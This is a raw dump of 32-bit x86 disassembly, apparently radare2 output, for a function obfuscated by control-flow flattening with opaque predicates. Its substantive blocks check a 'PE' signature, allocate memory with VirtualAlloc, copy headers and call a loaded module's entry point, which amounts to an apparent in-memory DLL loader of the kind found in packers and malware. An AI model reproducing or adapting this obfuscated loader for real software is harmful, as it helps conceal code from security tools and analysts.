cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x7ee5d09a
je 0x1010daf9
cmp eax, 0x7ff8bbf5
jne 0x101077d9
mov eax, dword [esp + 0xc]
mov eax, 0x5d9b3089
jmp 0x101077d9
cmp eax, 0xfa204374
je 0x1010db07
cmp eax, 0xfa4a95b8
jne 0x101077d9
mov eax, 0x9c0ac4fd
jmp 0x101077d9
cmp eax, 0x3ed4e02b
jne 0x1010db31
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3f7ba53
mov ecx, 0x683580be
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xf2df7e03
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x23695b94
mov ecx, 0xd0c63cbf
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x50bd2fb3
mov ecx, 0xc9925cba
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x34]
mov dword [eax], 1
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x770933e1
mov ecx, 0x5e9d3431
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x50]
mov eax, dword [eax]
mov dword [esp + 0x40], eax
cmp dword [esp + 0x40], 0
setne byte [esp + 0x26]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe4484363
mov ecx, 0xf5bbb1ef
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8b8cb4dc
mov ecx, 0xe07408d5
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xac69ff5f
mov ecx, 0xab8ec9b5
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc330f9d1
mov ecx, 0xe962dd54
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x268e7fb9
mov ecx, 0x8f827516
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x959c80cb
mov ecx, 0x447b7d03
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9a6da628
mov ecx, 0x55939e20
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x7b4686df
jmp 0x101077d9
mov eax, 0x7020ef9f
jmp 0x101077d9
mov eax, dword [esp + 0x54]
mov eax, 0x5e49447a
jmp 0x101077d9
mov eax, dword [esp + 0x40]
mov eax, dword [esp]
mov eax, 0xccb580ed
jmp 0x101077d9
mov ecx, dword [esp + 4]
call fcn.1011e258
mov eax, dword [esp + 0x38]
mov eax, 0x567403e7
jmp 0x101077d9
mov eax, 0xb7fcd64d
jmp 0x101077d9
mov eax, dword [esp + 0x14]
mov eax, 0xa6479ec1
jmp 0x101077d9
mov eax, 0xd489061d
jmp 0x101077d9
mov eax, 0x3ed4e02b
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xde0905b9
mov ecx, 0x9445f7dd
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ff8bbf5
mov ecx, 0x5d9b3089
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x8efa9085
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb48aa4a4
mov ecx, 0xbcbca647
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xa44fa530
jmp 0x101077d9
mov eax, dword [esp + 0xc]
cmp dword [eax], 0x4550
setne byte [esp + 0x21]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ff8bbf5
mov ecx, 0x99018ad3
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xc8c1ae0e
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4e94b794
mov ecx, 0x7c75d12f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8ac593e1
mov ecx, 0x56edc930
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x57e08e69
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x88a30e11
mov ecx, 0xb7fcd64d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x18]
push 4
push 0x2000
push dword [esp + 0x50]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x64], eax
cmp dword [esp + 0x64], 0
sete byte [esp + 0x22]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe83c7f96
mov ecx, 0xc8e1e7f2
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xdc3d0246
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9a6da628
mov ecx, 0xcabc3954
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x89c8f0ea
jmp 0x101077d9
mov eax, 0x9101aa2a
jmp 0x101077d9
mov eax, 0x8bb00622
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1fe48f50
mov ecx, 0x50a3790c
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x10]
mov eax, 0x735e24db
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x287f08bd
mov ecx, 0x70d5c0d6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa9c62fa5
mov ecx, 0x74d72c87
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x143002d7
mov ecx, 0x5db96069
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x40]
add eax, dword [esp]
mov dword [esp + 0x54], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe7098fb4
mov ecx, 0x688b7dbb
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x5c886d94
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc1bc6d1d
mov ecx, 0x1fa30505
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2a8fd73c
mov ecx, 0xf8720899
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp byte [esp + 0x27], 0
mov eax, 0xc08b25ef
mov ecx, 0x5fedf504
cmovne eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaa55e29f
mov ecx, 0x89238159
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfa109b08
mov ecx, 0x7e84017a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6b3e7b6b
mov ecx, 0x48f5ed79
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
push 4
push 0x2000
push dword [esp + 0x54]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe7ab3eaf
mov ecx, 0x7ea311db
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov cl, byte [esp + 0x1e]
cmp byte [esp + 0x1f], 0
mov eax, 0x20d2b907
mov edx, 0x5cdeea88
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ee5d09a
mov ecx, 0x85b24df
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6d2b6b18
mov ecx, 0x57e08e69
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xdb85ef74
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc0d95fdb
mov ecx, 0x6a8bd0
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6a7dc9e5
mov ecx, 0x5d935dc0
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x42665307
mov ecx, 0x33c4bd0a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x14]
mov eax, 0x1e06ab7c
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcd2b2552
mov ecx, 0x8a16efd3
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xc1b9984f
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbfc9f08e
mov ecx, 0x89c8f0ea
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd6044be5
mov ecx, 0xb02b0600
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
push dword [esp + 0x2c]
call fcn.10125000
add esp, 4
mov eax, 0x8774dfd1
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68e576ce
mov ecx, 0x6b4c59b0
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x658fa38c
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x60175717
mov ecx, 0x518b8c65
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x50f329a8
mov ecx, 0xcb31c427
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4c136e1
mov ecx, 0x3798592
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x5dd394df
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x97daa443
mov ecx, 0xcbc4bdc7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp byte [esp + 0x23], 0
mov eax, 0xf9670223
mov ecx, 0xd81ab950
cmovne eax, ecx
mov ecx, dword [esp + 0x68]
mov dword [esp + 0x60], ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x642640d2
mov ecx, 0x5dd394df
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe83c7f96
mov ecx, 0x3f34c3fe
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x7db54c70
jmp 0x101077d9
mov eax, 0x58895edd
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4e6673
mov ecx, 0x98643a7c
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xe8dbe814
jmp 0x101077d9
mov eax, dword [esp + 0x18]
push 4
push 0x2000
push dword [esp + 0x50]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 0x3f34c3fe
jmp 0x101077d9
mov eax, dword [esp + 0xc]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x72bd2425
mov ecx, 0x18058776
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
push dword [esp + 0x2c]
call fcn.10125000
add esp, 4
mov eax, 0xc118b60a
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa8b68f64
mov ecx, 0x97199a26
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x10]
mov eax, 0x9dff7061
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8e03a457
mov ecx, 0x468f8ec7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x18]
push 4
push 0x2000
push dword [esp + 0x50]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe06a54e2
mov ecx, 0x788b128e
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x5d935dc0
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe6b46ab
mov ecx, 0x54c2c02b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0xf8720899
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd6392cf6
mov ecx, 0x31b2b443
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x934cda44
mov ecx, 0x215dc1b9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov ecx, dword [esp + 4]
call fcn.10114d48
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x23695b94
mov ecx, 0xfa4a95b8
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x69cfda30
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9395a416
mov ecx, 0xec6255a1
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x58]
push 0
push 1
push dword [esp + 8]
call eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2ab9b7ef
mov ecx, 0xe9e9810f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x97a7a1f1
mov ecx, 0x5cc03b94
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa1e53523
mov ecx, 0x8b970031
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x66c56eb9
jmp 0x101077d9
mov eax, 0x5f4d99e9
jmp 0x101077d9
push dword [esp + 0x2c]
call fcn.10125000
add esp, 4
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x894be1dd
mov ecx, 0xf4727d87
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x6edc09f5
jmp 0x101077d9
mov eax, 0xa97a8dc3
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f64b434
mov ecx, 0x750ab1c2
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcb978ac3
mov ecx, 0x5be69c0f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x8d1e9da2
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe2f0742d
mov ecx, 0xdb85ef74
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd7e1e93
mov ecx, 0xd357c29e
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6a0389ef
mov ecx, 0x64737139
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4fe4c3da
mov ecx, 0x2f9d87e8
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa3f12e3e
mov ecx, 0x138078b3
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5dde6735
mov ecx, 0x22ee5b47
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x40]
mov eax, dword [esp]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b3794e1
mov ecx, 0x80c53a4e
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x46837b15
mov ecx, 0x39682d4f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x63355919
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcb7b3fd7
mov ecx, 0xd6b06c99
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x50bd2fb3
mov ecx, 0x456094af
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaa55e29f
mov ecx, 0x340a1f97
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x961e1517
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa828aaf3
mov ecx, 0xd7fef1b9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x31a3b6d3
mov ecx, 0xffbe2165
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6a0389ef
mov ecx, 0x3d47c557
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2561d512
mov ecx, 0x1b1d992b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc1e71bda
mov ecx, 0xd489061d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe68eb578
mov ecx, 0x4a1aff14
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x5cdeea88
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa75e72bf
mov ecx, 0x961e1517
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa1e53523
mov ecx, 0x4144d8ca
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0x60]
mov dword [esp], eax
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8b8cb4dc
mov ecx, 0x63355919
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa5bf1ac5
mov ecx, 0x6405b772
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf939af56
mov ecx, 0xe709cdaf
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfe590374
mov ecx, 0xc81bb8fc
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov dword [esp + 0x30], 0
mov eax, 0x36f47716
jmp 0x101077d9
mov eax, dword [esp + 8]
mov eax, 0xcc3c431a
jmp 0x101077d9
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x14
xor esi, esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [esp]
mov dword [edi + 4], eax
mov dword [edi + 0xc], esi
mov dword [edi + 8], esi
mov dword [edi + 0x10], esi
mov eax, dword [esp + 0x10]
mov ecx, 4
push ecx
mov ebp, 0x1000
push ebp
push dword [eax]
push dword [esp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call ebx
mov esi, dword [esp + 0x28]
mov eax, 4
push eax
push ebp
push dword [esi + 0x3c]
push dword [esp + 0xc]
call ebx
mov ebx, eax
mov eax, dword [esp + 8]
mov ecx, dword [esi + 0x3c]
add ecx, dword [eax]
push ecx
mov esi, dword [esp + 0x88]
push esi
push ebx
call fcn.1014bf80
add esp, 0xc
mov eax, dword [esp + 8]
mov eax, dword [eax]
lea ecx, [ebx + eax]
mov dword [edi], ecx
mov ecx, dword [esp]
mov dword [ebx + eax + 0x34], ecx
mov edx, dword [esp + 0xc]
mov ecx, esi
push edi
call fcn.1010db48
add esp, 4
mov eax, dword [esp + 0x18]
mov eax, dword [esp]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul eax, ecx
test al, 1
mov eax, 0xa7be0eef
mov ecx, 0x9ce1436f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x71c7eabc
mov ecx, 0x5e49447a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, 0x1675a575
jmp 0x101077d9
mov ecx, dword [esp + 4]
call fcn.10114d48
test eax, eax
setne byte [esp + 0x25]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a608fa7
mov ecx, 0xdc96a3a7
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [esp + 0xc]
mov eax, 0x468f8ec7
jmp 0x101077d9
mov ecx, dword [esp + 4]
call fcn.1011e258
mov eax, dword [esp + 0x38]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2eed1cb7
mov ecx, 0xe6db6db6
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
push 4
push 0x2000
push dword [esp + 0x54]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x68], eax
cmp dword [esp + 0x68], 0
sete byte [esp + 0x23]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x50f329a8
mov ecx, 0xe68c0a07
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
